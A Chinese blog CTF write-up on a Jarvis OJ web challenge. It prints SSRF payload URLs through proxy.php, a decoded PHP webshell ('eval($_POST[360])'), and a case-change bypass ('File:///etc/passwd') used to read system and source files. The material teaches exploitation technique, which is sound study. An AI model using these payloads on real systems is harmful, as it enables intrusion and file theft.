Sky's blog

从一道CTF题引发的思考

Word count: 1,710 / Reading time: 7 min
2018/08/15 Share
1
文章首发在 https://www.anquanke.com/post/id/154144

前言

最近在指导一些题目的练习,在讲解一道Jarvis OJ上的Web题时,引发了一些思考

起源

思考的起源很简单:
1.大家在网上查看writeup
2.发现题目的预期解法无法复现了
3.大家都认为这道题做不了了
题目链接如下:

1
http://web.jarvisoj.com:32782/

预期解法

这里我首先介绍一下预期解法
拿到题目后

一把硕大的菜刀图片,除了管理员登录的link,并无其他特征
这时查看一下源代码
发现有趣的一点

1
<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

此时点开network

我们可以发现这里是有远程请求的
大致过程如下

所以我们可以基本判断,这里是存在SSRF的
然后下一步,我们点击一下管理员的link

发现我们无法直接访问

1
http://web.jarvisoj.com:32782/admin


但此时查看源代码,又发现

1
<!--<script>alert('admin ip is 103.27.76.153')</script>-->

由这里组合思考一下,应该是不难想到
利用SSRF,伪装管理员去请求这个目录即可
所以我们有思路如下:

这样即可以管理员的身份访问

1
http://web.jarvisoj.com:32782/admin

并将内容打回来
那么第一个问题来了
我们可以利用web.jarvisoj.com的SSRF
但是admin ip上却没有SSRF的利用点怎么办?
这里的确是用了一些脑洞(或者有什么其他思路?知道的可以留言)
即根据

1
http://web.jarvisoj.com:32782/proxy.php

猜测管理员ip也有这个文件,即:

1
http://103.27.76.153/proxy.php

所以这里不难得到如下payload

1
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/

然后访问应该得到如下页面

但是没有什么用
进行文件泄露探测可以找到

1
robots.txt

发现内容为:

1
2
3
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

访问

1
trojan.php.txt

得到trojan.php的源码如下:

其实这种混淆有两种方法破解:
1.直接运行

发现直接拿到了shell
2.这里简单一看,就是一个异或混淆
首先我们

1
var_dump(${("#"^"|").("#"^"|")});

发现是

1
ASsERT

进行替换

1
2
3
<?php 
ASsERT(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));
?>

再解密

1
var_dump(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));

即可得到

1
string(17) "eval($_POST[360])"

所以最后的shell为

1
2
3
<?php 
ASsERT(eval($_POST[360]));
?>

那么我们利用菜刀连接trojan.php即可拿到flag
payload

1
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php

思考点

虽然上述过程看起来非常完美,但是实际上已经无法使用了

我们在请求的时候发现,中间的admin ip的ssrf可能出现了问题,导致我们漏洞利用无法成功
所以可以说,此题的预期解应该是行不通了
但是实际上,我感觉预期解将大家的思路束缚了
我们发现SSRF之后,第一件事我认为做的绝非仅仅试试http协议
在探测的时候,我们一定会去尝试file协议读文件
我想这里也应该不例外,但是网上几乎所有的writeup都在使用上述预期的打法
实际上,这里用file协议可以更加舒服的拿到flag

非预期打法

正如上述所说,我拿到这道题后,尝试了一下file协议的探测,而并非先去想利用admin ip做中间层去访问admin页面
首先探测

1
http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd

页面回显了

这并不是我们想要的,也说明file可能被过滤了
于是本能反应应该是试试Bypass

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd

即大小写绕过

果不其然,我们可以任意读文件了
但是,这有什么用呢?
我们不知道web的根目录,怎么去探测admin的目录呢?
这里我又发现了一个有趣的点,既然proxy.php是要传递参数url的
我们这里让它为空,试试会不会报错?

nice!我们又轻易的拿到了web目录的绝对路径
如此一来,我们就可以拿走所有的源码
不妨尝试:

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/proxy.php


我们直接拿到了源码,不难发现这里是利用了curl,并且过滤写的非常生硬,只过滤了字符串

1
file://

但这并不是我们的最终目的
我们应该是去探测admin目录
出于正常想法,在我不知道robots.txt存在的情况下,我的第一反应应该是去读index.php
所以

1
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.php

却发现内容为空,那么相应的应该是去查看index.html
因为整个题目都没有给我们admin目录下的文件名,默认使用的是

1
http://web.jarvisoj.com:32782/admin/

所以不是先读index.php,就是先读index.html,这一定有突破口

1
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.html


不难发现我们得到了之前预期解的时候的页面
那么在index.php和index.html都不可用,题目本身也没有告知其他文件的时候,本能反应肯定就是去探测目录了
探测方式也很简单:

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/+filename

如此不难发现

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt


那么直接读

1
trojan.php

payload

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/trojan.php

不难发现

如此一来,我们依然有理有据的拿到了flag

后记

其实这道题本身来说,能学到姿势并不多,但是思维很重要
writeup是个好东西,但是不能被他束缚了思想
我认为这样一道SSRF的题目,一定是应该尝试file协议的,而不应该是清一色的利用http以及admin ip
web题目本身就是开放形式的,能否被限定到只有唯一解其实是很难的,必须出题人具有很高的水平,把控的了所有可能存在的非预期,writeup也不是万能的,并不是客观答案,不应该无法复现writeup的解法就认为此题无解了。
web的奇淫技巧博大精深,还等待各位师傅探索,本弱鸡在此献丑了!

CATALOG
  1. 1. 前言
  2. 2. 起源
  3. 3. 预期解法
  4. 4. 思考点
  5. 5. 非预期打法
  6. 6. 后记